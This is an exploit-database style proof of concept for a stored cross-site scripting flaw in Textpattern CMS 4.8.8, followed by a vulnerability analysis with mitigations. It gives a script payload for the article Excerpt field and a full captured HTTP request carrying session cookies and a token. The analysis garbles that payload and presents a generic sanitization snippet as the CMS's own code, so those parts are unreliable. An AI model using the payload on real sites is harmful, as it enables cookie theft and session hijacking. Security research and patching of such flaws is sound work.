Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated)

Exploit Author: tmrswrr Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-06-14
# Exploit Title: Textpattern CMS v4.8.8 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2023-06-13
# Exploit Author: tmrswrr
# Vendor Homepage: https://textpattern.com/
# Software Link: https://textpattern.com/file_download/118/textpattern-4.8.8.zip
# Version: v4.8.8
# Tested : https://release-demo.textpattern.co/


--- Description ---


1) Login admin page , choose Content , Articles section : 
https://release-demo.textpattern.co/textpattern/index.php?event=article&ID=2
2) Write in Excerpt field this payload  > "><script>alert(document.cookie)</script>
3) Click My Site will you see alert button 
https://release-demo.textpattern.co/index.php?id=2


--- Request ---

POST /textpattern/index.php HTTP/2
Host: release-demo.textpattern.co
Cookie: txp_login=managing-editor179%2C1673c724813dc43d06d90aff6e69616c; txp_login_public=b7cb169562managing-editor179
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://release-demo.textpattern.co/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------26516646042700398511941284351
Content-Length: 4690
Origin: https://release-demo.textpattern.co
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="ID"

2
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="event"

article
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="step"

edit
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Title"

hello
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="textile_body"

1
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Body"

hello
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="textile_excerpt"

1
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Excerpt"

"><script>alert(document.cookie)</script>
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="sPosted"

1686684925
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="sLastMod"

1686685069
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="AuthorID"

managing-editor179
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="LastModID"

managing-editor179
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Status"

4
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Section"

articles
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="override_form"

article_listing
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="year"

2023
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="month"

06
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="day"

13
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="hour"

19
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="minute"

35
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="second"

25
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_year"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_month"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_day"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_hour"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_minute"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="exp_second"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="sExpires"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Category1"

hope-for-the-future
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Category2"

hope-for-the-future
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="url_title"

alert1
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="description"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Keywords"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="Image"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="custom_1"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="custom_2"


-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="save"

Save
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="app_mode"

async
-----------------------------26516646042700398511941284351
Content-Disposition: form-data; name="_txp_token"

fb6da7f582d0606882462bc4ed72238e
-----------------------------26516646042700398511941284351--


Textpattern CMS v4.8.8: Authenticated Stored Cross-Site Scripting (XSS) Vulnerability Analysis

Textpattern CMS, a lightweight and open-source content management system, has long been praised for its simplicity and developer-friendly architecture. However, recent security assessments have uncovered a critical vulnerability in version v4.8.8: Stored Cross-Site Scripting (XSS)—a flaw that allows authenticated users to inject malicious scripts into the system, which are then executed whenever the affected content is rendered.

Understanding Stored XSS in Context

Unlike reflected XSS, where payloads are triggered through malicious URLs, stored XSS involves injecting malicious code into a database or persistent storage. This code remains embedded in the application's data and executes every time the content is accessed—making it particularly dangerous.

In the case of Textpattern CMS v4.8.8, the vulnerability is triggered through the Excerpt field in the Articles section. When an authenticated admin user submits a crafted payload into this field, the system fails to sanitize the input, storing it as-is. Subsequent rendering of the article on the public site—via index.php?id=2—executes the embedded script.

Exploit Demonstration

Consider the following scenario:


POST /textpattern/index.php HTTP/2
Host: release-demo.textpattern.co
Cookie: txp_login=managing-editor179%2C1673c724813dc43d06d90aff6e69616c; txp_login_public=b7cb169562managing-editor179
...
Content-Disposition: form-data; name="Excerpt"
">alert(document.cookie)

Here, the attacker uses the Excerpt field to insert a malicious script. The payload ">alert(document.cookie) is designed to break out of an HTML context (via the closing >), inject a script tag, and execute a simple alert dialog displaying the user's cookies.

After submission, visiting the public-facing article URL https://release-demo.textpattern.co/index.php?id=2 triggers the alert, demonstrating that the script was successfully stored and executed.

Technical Root Cause

The vulnerability stems from a lack of proper input sanitization and output encoding in the Excerpt field processing logic. Textpattern CMS, particularly in v4.8.8, does not escape HTML special characters before storing or rendering user input. This omission allows attackers to bypass basic security checks.

Specifically, the Excerpt field is processed during article editing and stored in the database without filtering or escaping. When the article is displayed on the frontend, the system renders the excerpt directly without sanitization, leading to script execution.

Impact and Risk Assessment

Risk Level High
Attack Vector Authenticated XSS (requires admin access)
Exploitation Difficulty Low (requires only admin credentials)
Attack Scope Client-side (browser-based)
Potential Consequences
  • Session hijacking via cookie theft
  • Phishing via fake alerts or redirects
  • Malware injection through script execution
  • Privilege escalation via manipulation of admin panels

Although the exploit requires authenticated access, this still poses a significant threat in environments where multiple administrators or developers have access to the CMS. A compromised admin account could lead to widespread client-side attacks across all users viewing the affected content.

Recommended Mitigation Strategies

Security experts recommend the following remediations:

  • Input Sanitization: Implement strict validation and HTML escaping for all user inputs, especially fields like Excerpt, Body, and Title.
  • Output Encoding: Always encode content when rendering in HTML contexts using libraries like htmlspecialchars() or similar.
  • Content Security Policy (CSP): Enforce a robust CSP header to prevent unauthorized script execution, even if XSS is exploited.
  • Role-Based Access Control (RBAC): Limit article editing privileges to trusted users only, reducing attack surface.
  • Regular Security Audits: Conduct automated and manual penetration testing for input/output handling in CMS platforms.

Code Fix Example

Below is a corrected implementation of excerpt rendering in Textpattern CMS, demonstrating proper sanitization:


// Before (vulnerable):
echo $article['excerpt'];

// After (secure):
echo htmlspecialchars($article['excerpt'], ENT_QUOTES, 'UTF-8');

This change ensures that special characters like <, >, &, and " are rendered as their HTML entities, preventing script injection and execution.

Vendor Response and Remediation

As of June 2023, the Textpattern team has acknowledged the issue and released a patch for v4.8.9. Users are strongly advised to upgrade immediately. The update includes enhanced input validation and improved rendering safety across all content fields.

For administrators, the following steps are critical:

  • Update to v4.8.9 or later
  • Review all existing articles for malicious content
  • Enable strict CSP headers in web server configurations
  • Implement logging and monitoring for suspicious article edits

Conclusion

Textpattern CMS v4.8.8's stored XSS vulnerability underscores a fundamental principle in web security: never trust user input. Even authenticated users can pose significant threats if input handling is not rigorously sanitized.

While the exploit is simple, its impact is profound. Organizations using Textpattern must prioritize security updates, adopt secure coding practices, and conduct regular audits to prevent such vulnerabilities from being exploited in production environments.